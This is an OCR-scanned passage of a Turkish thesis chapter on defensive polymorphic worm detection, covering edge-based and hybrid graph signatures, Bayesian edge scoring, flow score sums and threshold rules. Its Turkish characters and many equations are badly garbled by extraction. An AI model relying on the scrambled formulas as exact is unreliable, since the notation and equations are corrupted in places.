kenarin baglangic diigimiiniin bitis diigiimiinden Once yer almasi beklenir. Yonsiiz
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bir kenarin diigiimleri i¢in dizilim kurali yoktur, dolayisiyla kenar1 olusturan her iki
diigiim de bir siralama kuralindan bagimsiz olarak akista bulunuyorsa yonsiiz kenar

akista yer aliyor demektir.

Kenar tabanli polimorfik solucan imzalari ii¢ kategoride gruplanabilir. Bunlar
(1) Bagimsiz Kenarlar’a, (2) Yonlii Kenarlarin Birlesimi’ne, (3) Yonsiiz Kenarlarin
Dizilimi’ne dayali imza yapilaridir. Yonsiiz kenarlarin birlesimi ve yonlii kenarlarin
dizilimi, sirasiyla diiglimlerin birlesimi ve diigiimlerin dizilimi cinsinden ifade
edilebilir. Dolayisiyla, bunlar ayri birer kenar tabanli imza kategorisi olarak
incelenmemistir. Kenar tabanli polimorfik solucan imza sinifinin pratik uygulamalar

ve olas1 yeni tasarimlari asagida irdelenmistir.

3.1.3.1 Bagimsiz Kenarlar

Bagimsiz kenarlara dayali polimorfik solucan imza yapilarin ortak varsayimi
kenarlarin akista birbirlerinden bagimsiz olarak yer aldigidir. Kenarlar, iki diiglimden
olusur. Diglimler, ilgili agiklig1r kullanan polimorfik solucan kodunun bir pargasi
olabilir ya da solucanin kullandig1 ag protokol yapisinin bir parcasi olabilir. Ag
protokol komutlar1 ve agiklik kodlar1 mantiksal bir dizilimde olacag i¢in, bir kenar1
olusturan diiglimlerin birbirine bagimli oldugunu varsayimi kabul edilebilir bir

varsayimdir.

[57]’de Token-Pair Signatures (TPS) imza yapisi Onerilmistir. Stipheli akis
havuzundaki bir polimorfik solucanin kopyalarindaki ortak diigiimleri bulmak i¢in
solucanin degismeyen pargalart kullanilir. Kenar skorlari, solucan akis havuzu ve
normal akis havuzlarinda bulunma olasiliklarina baglh olarak hesaplanir. Akis icin
toplam skor, akigta yer alan komsu kenarlara bagli olarak hesaplanir ve bu skor karar
asamasinda bir esik degeri ile karsilastirilir. [58]‘de Onerilen Strong Token-Pair
Signatures (STP) imza yapist da bagimsiz kenarlara dayalidir. STP imzalar1 kenar
kiimesini giiglii kenarlar ve zayif kenarlar olarak kiimeler. Kenar kiimesini
kiimelemek i¢in k-ortalama (k-means) kiimeleme algoritmast kullanilir. Giglii
kenarlar zayif kenarlardan daha yiiksek oncelige sahiptir. Solucan akis ¢izgesinde iki

diiglim, giiclii kenar olusturuyorsa bu iki diiglim arasinda yer alan zayif kenarlar



48

yerine bu giliclii kenar kullanilarak akis skoru hesaplanir. TPS ve STP imza
yapilarinda hesaplanan akis skoru, 6n tanimli bir esik degeri ile karsilastirilir. Akis
skoru, esik degerine esit ya da daha biiylik ise akis polimorfik solucan olarak

etiketlenir.

Uygun kenar bulma fonksiyonu fienqr pui ve kenar skor hesaplama
fonksiyonu fg, ~ tamimlandiginda, kenar kiimesi E’nin segilmis bir alt kiimesinin
skorlarma dayali olarak yeni kenar tabanli polimorfik solucan tespit imza yapilari
tanimlanabilir. Bagimsiz kenarlara dayali polimorfik solucan imza yapilarinin

cesitleri Sekil 3.4’de verilmistir.

Sekil 3.4, Bagimsiz kenarlara dayali imza yapilari. (a) E; alt kiimesinin yonsiiz

kenarlari i¢in skorlar (b) E; alt kiimesinin yonlii kenarlari i¢in skorlar (c) E’nin

yonsiiz kenarlar i¢in skorlar (d) E’nin yonlii kenarlar i¢in skorlar.
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3.1.3.2 Yonlii Kenarlarin Birlesimi

Yonsiiz kenarlarin birlesimi diigiimlerin birlesimi olarak diisiiniilebilir. Yonlii
kenarlarin birlesimine dayali polimorfik solucan tespit imzalar1 Onerilebilir. Kati
dizilimler tanimlanmasi durumunda, solucan Ooriintiisiindeki kiigiik degisiklikler
sonucu solucanin izomorfik siiriimleri tespit edemez hale gelebilir. Ote yandan, bir
solucan akisindaki diigiimler ag protokol yapisinin veya solucan saldirt vektoriiniin
bir pargasidir ve bir imza yapisinda dizilimleri tanimlamak digiimler arasindaki
iliskileri kullanarak solucani daha verimli sekilde tespit etmeye imkan verir. Yeni
polimorfik solucan tespit imza yapilari, yonlii kenar kiimesi E’nin secili bir
altkiimesinin birlesiminin aranmasini veya kenar skor hesaplama fonksiyonu fg,
tanimlanarak bir skor tabanli tespit mekanizmasi tanimlanmasini igerebilir. Yonlii
kenarlarin birlesimine dayali polimorfik solucan imza yapilarmin cesitleri Sekil

3.5’de verilmistir.

Sekil 3.5, Yonli kenarlarin birlesimine dayali imza yapilari. (a) V e;; € E; € E’nin

birlesimi (b) Yonlii kenar kiimesi £°nin £ altkiimesinin birlesimi i¢in skorlar.

3.1.3.3 Yonsiiz Kenarlarin Dizilimi

Yonli kenarlarin dizilimi kenarlarin dizilimi olarak diisiiniilebilir. Y6nsiiz
kenarlarin dizilimine dayali polimorfik solucan tespit imzalari Onerilebilir. Bu

polimorfik solucan tespit imza yapilari, yonsiiz kenar kiimesi E’nin segili bir
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altkiimesinin diziliminin aranmasini veya kenar skor hesaplama fonksiyonu fg,

tanimlanarak bir skor tabanli tespit mekanizmasi tanimlanmasin igerebilir. Yonsiiz
kenarlarin bir dizilimini tanimlamak, bir akisi boliimlere ayirmak ve tanimlanan
dizilim ile belirlenen boliimlerde diiglimler i¢in herhangi bir siralama kurali olmadan
solucan yapisin1 yonsiiz kenarlar1 esnek sekilde icerecek sekilde modellemek
anlamina gelir. Yonsiiz kenarlarin dizilimine dayali polimorfik solucan imza

yapilarmin gesitleri Sekil 3.6’da verilmistir.

Sekil 3.6, Yonsiiz kenarlarin dizilimine dayal imza yapilar. (a) V e;; € E; € E’nin

dizilimi (b) Y0nsiiz kenar kiimesi £’nin k altkiimesinin dizilimi i¢in skorlar.

3.1.4 Hibrit imzalar

Diigiim tabanli imzalar ve kenar tabanli imzalar daha karmasik polimorfik
solucan tespit imzalar1 olusturmak i¢in birlestirilebilir. Bagimsiz diigiimler, yonli
kenarlar ve yonsiiz kenarlar, birlesim ve dizilim iligkileri kullanarak, bir skor
hesaplama yontemi tanimlayan veya tanimli eslesme kurallarina goére arama yapan
yeni imza yapilar1 olusturabilirler. Hibrit imza sinifinin olas1 iki uygulamasi Sekil

3.7°de gosterilmistir.
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(a) (b)

Sekil 3.7, Hibrit imza yap1 6rnekleri (a) Yonlii kenarlarin ve bagimsiz diiglimlerin

birlesimi (b) Y06nsiiz kenarlarin ve bagimsiz diiglimlerin dizilimi.

3.2 Dugiimlerin ve Kenarlarin Bulunmasi

Imzalar1 olusturmak igin, normal akis havuzu ve solucan akis havuzu olmak
tizere iki akis havuzu kullanilir. Bu akis havuzlart Bolim 2.4°de detayli olarak
incelenmistir. Normal akis havuzu, polimorfik solucan igermeyen trafik akiglarini
icerir. Hedef polimorfik solucanin polimorfik kopyalar1 solucan akis havuzunu
olusturur. Diiglim, solucan akis havuzundaki n polimorfik solucan 6rneginden en az
K tanesinde yer alan, en az a uzunlugundaki atomik alt karakter kataridir ve Solucan

Karakter Katar1 (SKK) olarak da adlandirilmaktadir.

Digiimler, akis havuzlar1 kullanilarak [55]°de anlatilan algoritma ile tespit
edilir. Bu algoritma, solucan akis havuzundaki orneklerin karakter uzunluklarina
gore lineer zamanda calismaktadir ve n adet drnek arasindan en az K tanesinde ortak
olan En Uzun Ortak Karakter Katar1 (EUOKK)’n1 bulmaktadir. Bu algoritma,
solucan akis havuzundaki n adet solucan drneginin K tanesinde ortak olan karakter
katarlar1 kiimesini bulacak sekilde degistirilerek SKK’ler bulunmaktadir. Kullanilan
diigiim bulma yontemi, solucan akis havuzunda en az @ = 2 karakter uzunlugunda, n
adet solucan 6rneginin K = n tanesinde (hepsinde) ortak olan SKK’leri bulmaktadir.
Diigiimlerin tespiti i¢in, Polygraph [40], Hamsa [42], TPS [57], ve STP [58]’de ayn1

yontem kullanilmistir.

Bulunan SKK’ler, diigiim kiimesini olusturur. Diigiim kiimesinin kendisiyle

olan kartezyen c¢arpimi, solucan akisinda goriilebilecek tiim kenar dizilim
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olasiliklarini igerir. Solucan akis ¢izgesinin kenarlari, bu kartezyen carpimin bir alt

kiimesi olarak tanimlanir.
3.3 Kenar Imzalar1 Yapisi

Kenar Imzalar1 (Ki), polimorfik solucan 6rneklerinin bulundugu solucan akis
havuzu ve normal trafik paketlerinin bulundugu normal akis havuzu kullanilarak
olusturulmaktadir. Akis havuzlar1 yapisi, Béliim 2.4’°de agiklanmistir. Iki tip kenar
imza yapis1 tanimlanmistir. Bunlar Yonlii Kenar Imza Yapis1 (YIKI) ve Yénsiiz
Kenar Imza Yapis1 (YsKI)’dir. Bu iki imza yapisi arasindaki fark, kenarlar igerisinde
bulunan diigiimlerin siralamasindan kaynaklanmaktadir. YIKI imzalarinda kullanilan
kenarlar, sirali diigiimlerden (yonlii kenarlar) olusmaktadir. YsKI imzalarinda
kullanilan kenarlar1 olusturan diiglimler i¢in ise bir sira kurali bulunmamaktadir yani

yonsiiz kenarlar kullanilmaktadir.

YIKI ve YsKI imza yapisi, temel olarak iki asama altinda incelenmistir.
Bunlar; 1) imza olusturma, 2) polimorfik solucan tespiti olarak siralanabilir. Bolim
3.3.1’de Ki yapisinda kullanilan genel tanimlar ve notasyon verilmistir. YIKI ve
YsKI imzalarinin olusturulma yontemi Béliim 3.3.2°de, polimorfik solucan tespit

yontemi ise Bolim 3.3.3°de aciklanmustir.
3.3.1 Genel Tanimlar ve Notasyon

V:{v; h<i<n: n elemanh diigiim kiimesi.

E

yonta: YONli kenarlar kiimesi. e;; € Ejsnp5, V XV bagintisindan tiiretilen ylim

yonlii kenarlardir.

E

yonsiiz: Yonsiz kenarlar kiimesi. e;

i € Eyonsiiz, V XV bagintismin  bir  alt

kiimesinden tiiretilen yonsiiz kenarlardir.
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EYlskor: {(EYlskor)i;}: YOnlii kenar skorlart kiimesi. Oyle ki (EYlskor)ij» €1 €

Eysnii kenarmin skoru olsun.

EYSsior: {(EY Sskor)ij}: Yonsiiz kenar skorlari kiimesi. Oyle ki (EYSsyor)i ),

eij € Eyonsiiz kenarinin skoru olsun.

fevigeo,: €i,j = (EYlgor)ij € R: YOnlii kenar skoru hesaplama fonksiyonu.

fevsaeor: €ij = (EYSgror)ij € R: YOnsiiz kenar skoru hesaplama fonksiyonu.

X ={V,E,}: x; €V diuglmleri ve akis icerisindeki ardigik diiglimlerini birbirine
baglayan e; ; = (xi,xj=i+1) € E, yonli ya da yonsiiz kenarlar1 ile tanimlanan

cevrimsiz akis ¢izgesi.

X akigt etiketi: X = {NormalAkis, SolucanAkisi}. X akisi polimorfik solucan ise
X = SolucanAkisi, X akist normal trafik ise X = NormalAkis degeri

kullanilmaktadir.

S(X): X akiginin toplam skoru.

E: Karar esik degeri.

3.3.2 YIKI ve YsKI imza Olusturma Yontemi

YIKI ve YsKi imzalarini olusturmak igin diigiim kiimesi V, Bolim 3.2°de

anlatildig1 sekilde tespit edilir. Digiim kiimesi V = {v;},<;<, verilmis olsun.

Tanim 2.11°de belirtildigi  gibi, Eygng =V XV kartezyen carpimi ile
tanimlanan baginti, n diigiimlii V kiimesinin elemanlarindan olusturulabilecek n?
adet olasi tlim yonli kenarlar igeren Ejspn; kiimesini olusturur. Eygpng =V XV

bagintisi, yansiyan, simterik ve gecisli ozelliktedir. Bu genel baginti 6zellikleri
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Bolim 2.5.3.1’de anlatilmustir.  Eygp;;  kiimesi, YIKi imzalar1 olusturulurken

kullanilmaktadir.

YsKi imzalarmi tanimlarken kullanilan Eysnsiiz yOnsiz kenarlar kiimesi ise,

Eysmiu kiimesinin bir alt kiimesidir. R, V kiimesi lizerinde tanimlanmis bir baginti

olsun. 1 <i<n-1vei<j<n olmak iizere tiim yonsiiz kenarlar e; ; € R’dir. R

bagintisi, E.

yonsiz Kumesini tammlar. Bir bagka deyisle, Eysnsi, kiimesinde, her

diigiimiin  kendisiyle ve V kiimesinde kendisinden sonra gelen diigiimlerle
olusturdugu n x (n+ 1)/2 adet ydnsiiz kenar bulunmaktadir. Eys;,g:, kiimesini

tanimlayan R bagintisi, yansiyan, antisimetrik ve gecisli 6zelliktedir.

Diigiim bulma islemi, imza olusturma siirecinin ilk agamasidir ve kenarlari
olusturan diigiimler Boliim 3.2°de anlatildigi gibi bulunmaktadir. YIKI ve YsKI
imzalarinda, kenarlar ve bu kenarlarla iligkilendirilmis skorlar bulunmaktadir. Kenar
skorlari, kenarin solucan akis havuzu ve normal akis havuzu igerisinde bulunma

olasiliklarina dayanarak hesaplanmaktadir.

Yonli ya da yonsiiz bir e; ; kenarmin skoru, bu kenarin polimorfik solucan
akisinin ve normal akisin pargasi olma olasiliklarinin orani olarak hesaplanmaktadir.
Bu oran ne kadar biiytik ise, ilgili kenarin solucan akis havuzunda goriilme sikiligs,
normal akis havuzunda goriilme sikligindan o kadar yiiksektir. Kenar skorunun
belirlenmesi i¢in hesaplanmasi gereken solucan akis havuzu ve normal akis havuzu
olasiliklari, (4.1)’de verilen Bayes kurali kullanilarak sirasiyla (3.1) ve (3.2)’de

verilmigtir.

P(e;jle;; = SolucanAkisy)
P(e; ;)

P(e;; = SolucanAkisi|e; ;) = X P(e;; = SolucanAkisy) (3.1

P(e;jle;; = NormalAkis)

P(e;; = NormalAkis|e; ;) = P(e; ;)
i

X P(e;; = NormalAkis) (3.2)

(3.1) ve (3.2) olasilik degerlerinin orani, (3.3)’de verilmistir:
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P(e;jle;; = SolucanAkist)

P(e;; = SolucanAk1$1|ei_j) B P(e;;) x P(e;; = SolucanAkisy)
= ) — P(e;le;; = NormalAk
P(e;; = NormalAkis|e; ;) (eijleis Ple, ) 15) X P(e;j = NormalAls)
Lj
_ P(ei,j|ei,j = SolucanAk1§1) 9 P(ei,j = SolucanAklgl) (3.3)

P(ei,j|ei_j = NormalAkls) P(ei_]- = NormalAkls)

(4.2)’de belirtildigi gibi, e;; kenar1 hakkinda Onceden bir bilgiye sahip
olunmadig1 i¢in bu kenarin solucan olma ve olmama olasiliklarini baslangi¢

durumunda esit kabul edebiliriz.

P(e;; = SolucanAkist) = P(e;; = Normaldkis) = 0.5 (3.4)

Bu durumda (3.1) ve (3.2) olasilik degerlerinin orani1 (3.5)’e indirgenmektedir:

P(ei‘j|ei'j = SOluCClTlAkl:}l)
P(ei,j|ei'j = NormalAkis)

(3.5)

(3.5), bir kenarin solucan akis havuzu igerisindeki ve normal akis havuzu
icerisindeki olasiliklarinin oranidir. Bu oranin daha kolay okunabilir ve yiiksek
orandaki farkliliklar1 daha anlamli sekilde ifade etmesi i¢in skor degeri (3.5) ile

hesaplanan degerin logaritmasi olarak hesaplanmaktadir.

YIKi imzalar1 tanimlanirken (3.6)’da verilen fEYlskor(eirj)’ €ij € Eysnii
kenarmi olusturan x; €V ve x; € V diiglimlerinin sirali varhgi dikkate alinarak
hesaplanmaktadir. Bir baska deyisle, 6ncelikle x; diigiimiiniin ilgili akis havuzundaki
olasilig1 hesaplanmakta ve daha sonra da x; diiglimiiniin bulundugu akislarda, x;

digiimiinden sonra x; digimiiniin var olmasi olasiligi hesaplanarak ilgili akis

havuzu olasiligit (4.3) ile tanimlanan kosullu olasilik tanimina uygun olarak

bulunmaktadir.
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P(ei'jlei'j = SolucanAk1$1)> (3.6

fEYlskor(elJ) ( Skor)l” o9 (P(ei,jlei,j = NormalAkIS)

YsKi imzalar1 tamimlanirken, benzer sekilde kosullu olasilik tanimindan
faydalanilmaktadir fakat bu durumda kenar1 olusturan diigtimler i¢in herhangi bir sira
(yon) kurali bulunmamaktadir. YsKI imzalar1 tamimlanirken (3.7)’de verilen
fEYsskor(ei, j), eij € Eysnsiz kenarmi olusturan x; € V ve x; € V diigiimlerinin sirasiz
olarak varligi dikkate alinarak hesaplanmaktadir. Bir baska deyisle x; ve x;

]

diigtimlerinin ilgili akis havuzunda beraber bulunma olasiliklar1 hesaplanmaktadir.

P(ei,jlel-,]- = SolucanAk1§1)> 3.7)

e; i) =(EYs i = lo
fEYSSk"r( l']) ( Skor)l'] g (P(ei'jlei'j = NormalAkls)
YIKI imzalari, Eysnii kimesi ve Ej s kliimesi igerisindeki tiim yonli kenarlar

i¢in (3.6) ile hesaplanmis EY Ly, skor kiimesi ile tanimlanmaktadir.

YsKI imzalari, Eysngi, kiimesi ve Ejsnqi, klimesi igerisindeki tiim yonsiiz

kenarlar i¢in (3.7) ile hesaplanmis EY s, skor kiimesi ile tanimlanmaktadir.
3.3.3 Ki Polimorfik Solucan Tespit Yontemi

Bir X akis1 hakkinda karar verebilmek i¢in bu akisin solucan olma ve normal
akis olma olasiliklar1 hesaplanmalidir. Hesaplanmasi gereken olasilik degerleri
P(X = SolucanAkis1|X) ve P(X = NormalAkis|X) olarak ifade edilmektedir. Bu
iki olasilik degeri, X’in akis cizgesindeki ardisik bagimsiz kenarlar cinsinden

hesaplanmaktadir.

(4.1)’de verilen Bayes kurali kullanilarak P(X = SolucanAkisi|X) ve P(X =
NormalAkis|X) olasiliklar (3.8) ve (3.9)’da verildigi gibi yazilir:
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P(X|X = SolucanAkisy)
P(X)

P(X = SolucanAkisi|X) = X P(X = SolucanAkis) (3.8)

P(X|X = NormalAkis)
P(X)

P(X = NormalAkis|X) = X P(X = NormalAkis) (3.9)

(3.8) ve (3.9) olasilik degerlerinin orani, (3.10)’da verilmistir:

P(X|X = SolucanAkisy)

X P(X = SolucanAkisi)

P(X = SolucanAkisi|X) P(X)
P(X = NormalAkis|X) P(X|X Eli\l&r)malAkls) X P(X = NormalAkis)

_ P(X|X = SolucanAkis) y P(X = SolucanAkis1) (3.10)

P(X|X = NormalAkis) ~ P(X = NormalAkis)

(4.2)’de belirtildigi gibi, X akisi hakkinda 6nceden bir bilgiye sahip olunmadigi
icin bu akisin solucan olma ve olmama olasiliklarini baslangi¢ durumunda esit kabul

edebiliriz.

P(X = SolucanAkis1) = P(X = NormalAkis) = 0.5 (3.11)

Bu durumda (3.8) ve (3.9) olasilik degerlerinin oran1 (3.12)’ye

indirgenmektedir:

P(X|X = SolucanAkis)
P(X|X = NormalAkis)

(3.12)

(3.12)’de verilen oran, X’in akis cizgesindeki bagimsiz ardisik kenarlar igin
hesaplanmaktadir. Diigiim kiimesi V = {v;},<j<, verilmis olsun. Akis X igin,
P(X|X = SolucanAkist) ve P(X|X = NormalAkis) degerleri, akis icerisindeki ardisik
e,j=(x €EV,x;4y EV)EE, kenarlarn i¢in (3.13)’de verildigi sekilde

hesaplanmaktadir.



58

P(X|X = SolucanAkist) B P(X|X = SolucanAkist)
P(X|X = Normaldkis) ~  P(X|X = NormalAks)

n-—1
) P(eiqi+1)|X = SolucanAksi) (3.13)

L1 P(ei,i+)|X = NormalAkas)
i=

(3.13y’de  P(e;i+1)|X = SolucanAkist) ve P(e;4+1)|X = NormalAkis)
degerleri, YIKI imzalarinda x; diigiimiiniin x; diigiimiinden sonra geldigi durumlar
icin solucan akis havuzu olasilig1 ve normal akis havuzu olasilig1 olarak hesaplanir.
YsKI imzalarinda ise diigiim ikilisi i¢in bir sira kurali géz 6niinde bulundurmadan

hesaplama yapilmaktadir.

Kenarlarin solucan akig havuzu ve normal akis havuzu olasilik degerleri
arasinda orantisal olarak biiylik fark oldugunda, (3.13) oldukca biiyiik degerlere
sahip olur. Bu yiiksek degerler bize karar verme agamasinda karsilastirma ve hesap
yapma zorlugu yasatabilir. Kullanimin daha kolay olmasi amaciyla bu degerlerin
logaritmik hali kullanilmaktadir. Logaritmik islem yaptigimiz i¢in, (3.13)’de ¢arpim
olarak karsimiza ¢ikan oran ayri ayri logaritmik degerlerin toplami seklinde
kolaylagtirilmistir. Karar agsamasinda kullanilan toplam akis skoru S, (3.14)’deki gibi

hesaplanur.

- /p( |X = Solucandkis))\ &
€i (i 1) = J0LlUCANAKISI
S(X) = E lo G = E Eckor)i(i 3.14

( ) —~ g(P(ei'(i+1)|X = NOT'”lalAk1$) i=1( SkOT)L,(l+1) ( )

(3.14)’deki Eg,, kiimesi, YIKI igin EYlg,,, YsKi igin EYsg,, olarak
kullanilmaktadir. (3.14), bir baska deyisle, akis icerisinde tespit edilen ardisik
kenarlarin skorlarinin toplamidir. Akisin solucan olup olmadigina karar verebilmek
icin, akis skoru bir esik deger ile karsilastirilir. Esik degeri E, tolore edilebilecek
maksimum yanlig-pozitif oranina uygun olarak secilmektedir. Karar kurali (3.15)’de

verilmistir.
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X = SolucanAksy, eger S= E

X = NormalAkzs, eger S<E (3.15)

Karar Kural: {

Eger bulunan toplam akis skoru esik degerden fazlaysa, akis solucan olarak

etiketlenmektedir.
3.4 Giiclii Kenar imzalar Yapisi

Giiglii Kenar imzalar1 (GK1I) yapisi, polimorfik solucan érneklerinin bulundugu
solucan akis havuzu ve normal trafik paketlerinin bulundugu normal akis havuzu
kullanilarak olusturulmaktadir. Akis havuzlari yapisi, Béliim 2.4’de agiklanmistir. ki
tip giiclii kenar imza yapisi tammlanmistir. Bunlar Yonlii Giiglii Kenar Imza Yapisi
(YIGKI) ve Yonsiiz Giiglii Kenar Imza Yapis1 (YsGKi)’dir. Bu iki imza yapisi
arasindaki fark, kenarlar skorlar1 hesaplanirken kenar igerisinde bulunan diigtimlerin
siralamasinin dikkate alinip alinmamasindan kaynaklanmaktadir. YIGKI imzalarinda
kenar skorlar1 hesaplanirken kenari olusturan diigiimlerin siras1 dikkate alinirken,
YsGKI imzalarinda kenar skorlari hesaplanirken diigiim siralamasi dikkate
alimmamaktadir. Polimorfik solucan tespiti sirasinda, akis ¢izgesi igerisinde birbirine
bitisik olmayan diigiimlerin olusturdugu giiclii kenarlar, ayn1 diigiimler arasindaki
ardisik zayif kenarlar yerine dikkate alinmaktadir. Bir baska deyisle, akis
cizgesindeki ardisik kenarlar yerine dugiimleri bitisik olmayan giiclii kenarlara

oncelik verilmektedir.

YIGKI ve YsGKI imza yapisi, temel olarak iki asama altinda incelenmistir.
Bunlar; 1) imza olusturma, 2) polimorfik solucan tespiti olarak siralanabilir. Bolim
3.4.1°de GKI yapisinda kullanilan genel tanimlar ve notasyon verilmistir. YIGKI ve
YsGKI imzalarinin olusturulma ydntemi Boliim 3.4.2°de, polimorfik solucan tespit

yontemi ise Boliim 3.4.3°de agiklanmustir.
3.4.1 Genel Tanimlar ve Notasyon

V:{v; hi<i<n: n elemanli diigiim kiimesi.
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E: Kenarlar kiimesi. Oyle ki e; i € E, v; ve v; diiglimlerini birbirine baglayan yonlii

ya da yoOnsiiz kenar olsun.

Weotucan = V) Esotucan}: Wi € V diigiimleri ve akis icerisindeki ardigik diigiimleri
birbirine baglayan w;; = (Wi,Wj=i+1) € Esorucan yOnli kenarlar1 ile tanimlanan

cevrimsiz polimorfik solucan akis ¢izgesi.

Wramsagusotucan = V) Erampagnsotucan}: Wi € V digiimleri ve akis icerisindeki her
diiglimii kendinden sonraki tiim diigiimlere yonlii olarak baglayan w; ; = (wi, Wj) €
Erampagnsotucan yOnli kenarlar ile tamimlanan gevrimsiz polimorfik solucan akig

cizgesi.

Egicra: GUglii yonlii kenarlar kiimesi. Oyle ki Egicii S EtamBagnsotucan V€ Egigua Y

Ezaylf = ETamBaghSolucan-

Ezay i Zayif yonli kenarlar kiimesi. Oyle ki Ezayf S Erampagnsotucan V€ Ezayip U
Egﬁ(;lii = ETamBagllsolucan-
Eskor: {(Eskor)i;}: Yonli kenar skorlari kiimesi. Oyle ki (Egkor)ij, €1 €

EramBagnsotucan kenarin skoru olsun.

fEaor: €ij = (Eskor)ij € R: Yonlii kenar skoru hesaplama fonksiyonu.

X ={V,E,}: x; €V diuglmleri ve akis icerisindeki ardigik diiglimlerini birbirine
baglayan e;; = (xi,xj=i+1) € E, yonli ya da yonsiiz kenarlar1 ile tanimlanan

cevrimsiz akis ¢izgesi.

X akist etiketi: X = {NormalAkis, SolucanAkisi}. X akisi polimorfik solucan ise
X = SolucanAkisi, X akist normal trafik ise X = NormalAkis degeri

kullanilmaktadir.
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S(X): X akisiin toplam skoru.

E: Karar esik degeri.

3.4.2 YIGKI ve YsGKIi imza Olusturma Yéntemi

YIGKI ve YsGKI imzalarini olusturmak igin diigiim kiimesi V, Boliim 3.2°de

anlatildig1 sekilde tespit edilir. Digiim kiimesi V = {v;},<;<, verilmis olsun.

YIGKI ve YsGKI imzalarini olusturmak i¢in Wsyy,cqn polimorfik solucan akis
cizgesinden tiiretilen Wrampagnsoiucan tam bagl polimorfik solucan akis ¢izgesi
incelenmektedir. Wrampagnsotucan 122681, Wyopucan ¢izgesinde bulunan diigiimlerin
cizge igerisinde kendisininden sonra bulunan tiim digiimlere yonli kenar
olusturdugu cizge yapisidir. Tanim 2.13°de tanitilan sirali solucan akis bagintisi
WramBagisotucan §1zgesini olusturmak igin kullanilir. Sirali Solucan Akig1 Bagintisi
R, solucan akis ¢izgesi kiimesi Wggycan Uizerinde tanimlanmis bir baginti olsun.
Wi € Wyolucan V€ Wj € Wyglycan Olmak tizere (wj, wj) sirali ikilisi, her j > i igin R
bagitisinin elemanidir. R bagmtisinin  ¢izgesi, solucan akis ¢izgesinin her
elemanindan kendinden sonraki elemanlara bir yol igeren c¢izgedir. R bagintisi,
antisimetrik ve gecisli 6zelliktedir fakat yansiyan olmadigi i¢in parcali sira bagintisi

degildir. Sekil 3.8’de 6rnek bir polimorfik solucan akis ¢izgesi Wi,y cqn Verilmistir.

L 4 & 4 & 4 L 4 &
Wy W Wa Wy W
(SKKy ) (SKK,) (SKK;z) (SKEy) (SKKy)

Sekil 3.8, Polimorfik Solucan Akis Cizgesi.

Sekil 3.8’deki polimorfik solucan akis cizgesi Wsycan dan tiretilecek tam

bagli polimorfik solucan akis ¢izgesi Sekil 3.9°da gdsterilmistir.
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(SKK;) (SKK;) (SKKz) (SKK;) (SKRy)

Sekil 3.9, Tam Bagli Polimorfik Solucan Akis Cizgesi.

Diigiim bulma islemi, imza olusturma siirecinin ilk asamasidir ve kenarlari
olusturan diigiimler Béliim 3.2°de anlatildig1 gibi bulunmaktadir. YsGKi ve YIGKI
imza kimelerini olusturmak i¢in  Wrampagnsotucan Sizgesinin  kenar kiimesi
EramBagnsotucan’ daki tim yonlii kenarlar i¢in skor degeri hesaplanir. Kenar skorlar,
kenarin solucan akis havuzu ve normal akis havuzu icerisinde bulunma olasiliklarina
bagli olarak hesaplanmaktadir. Hesaplanan kenar skorlar1 k-ortalama algoritmasi

kullanilarak gii¢lii ve zayif olarak kiimelenir. Giiglii kenarlar Egj;; kenar kiimesinde,

zayif kenarlar E, kenar kiimesinde bulunur. imza kiimesi, kenar skorlari igin

ayif

hesaplan skor degerleri ve kenarlarin giigiiliik belirteci bilgisini tasir.

Yonli ya da yonsiiz bir e; ; kenarmin skoru, bu kenarin polimorfik solucan
akisinin ve normal akisin pargasi olma olasiliklarinin orani olarak hesaplanmaktadir.
Bu oran ne kadar biiyiik ise ilgili kenarin solucan akis havuzunda goriilme sikilig1
normal akis havuzunda goriilme sikligindan o kadar yiiksektir. Kenar skorunun
belirlenmesi i¢in hesaplanmasi gereken solucan akis havuzu ve normal akis havuzu
olasiliklari, (4.1)’de verilen Bayes kurali kullanilarak sirasiyla (3.16) ve (3.17)’de

verilmigtir.

P(e;jle;; = SolucanAkisr)
P(e; ;)

P(el-,j = SolucanAk1$1|ei,j) = X P(e;; = SolucanAkisy) (3.16)
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P(e;jle;; = NormalAkis)
P(ei )

P(ei,j = NormalAklslei,j) = X P(ei,j = NormalAkls) (317)

(3.16) ve (3.17) olasilik degerlerinin oran1 (3.18)’de verilmistir:

P(e;jle;; = SolucanAkist)

P(ei,j _ SolucanAk1$1|ei_j) ) Ple,)) X P(e;; = SolucanAkis)
P(e;; = NormalAkis|e; ;) P(eiyle,; = Normaldks) X P(e; ; = NormalAks)
P(e; ;) b
P(ei]- e i = SolucanAk1§1) P(ei,j = SolucanAklgl)

= S X (3.18)
P(ei,j|ei_j = NormalAkls) P(ei_]- = NormalAkls)

(4.2)’de belirtildigi gibi, e;; kenar1 hakkinda Onceden bir bilgiye sahip
olunmadig1 i¢in bu kenarin solucan olma ve olmama olasiliklarini baslangi¢

durumunda esit kabul edebiliriz.

P(e;; = SolucanAkist) = P(e;; = Normaldkis) = 0.5 (3.19)

Bu durumda (3.16) ve (3.17) olasilik degerlerinin oran1 (3.20)’ye

indirgenmektedir:

P(ei‘j|ei'j = SOluCClTlAkl:}l)
P(ei,j|ei'j = NormalAkis)

(3.20)

(3.20), bir kenarin solucan akis havuzu igerisindeki ve normal akig havuzu
icerisindeki olasiliklarinin oranidir. Bu oranin daha kolay okunabilir ve yiiksek
orandaki farkliliklar1 daha anlamli sekilde ifade etmesi i¢in skor degeri (3.20) ile

hesaplanan degerin logaritmasi olarak hesaplanmaktadir.

YIGKI imzalar1 tanimlanirken (3.21)’de verilen fEskor(ei. j), e,j €
Erampagnsotucan kenarmi olusturan x; €V ve x; € V digimlerinin sirali varligy
dikkate alinarak hesaplanmaktadir. Bir baska deyisle, 6ncelikle x; diiglimiiniin ilgili
akis havuzundaki olasilig1 hesaplanmakta ve daha sonra da x; diiglimiiniin bulundugu

akislarda, x; digimiinden sonra x; diiglimiiniin var olmasi olasiligi hesaplanarak
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ilgili akis havuzu olasiligi (4.3) ile tanimlanan kosullu olasilik tanimina uygun

olarak bulunmaktadir.

P(ei'j|el-'j = SolucanAk1$1)> (3.21)

fESkor(ei'j) = Eskor)ij = log (P(ei,j|ei,j = NormalAkls)

YsGKI imzalar1 tanimlanirken, benzer sekilde kosullu olasilik tanimindan
faydalanilmaktadir fakat bu durumda kenar1 olusturan diigtimler i¢in herhangi bir sira
(yon) kurali bulunmamaktadir. YsGKI imzalar1 tanimlanirken (3.22)’de verilen
fEskor(ei.j)’ €ij € Erampagnsotucan kenarini  olusturan  x; €V ve x; €V
diigiimlerinin ilgili akis havuzunda beraber bulunma olasiliklar1 {izerinden

hesaplanmaktadir.

P(ei,jlel-,]- = SolucanAk1§1)> (3.22)

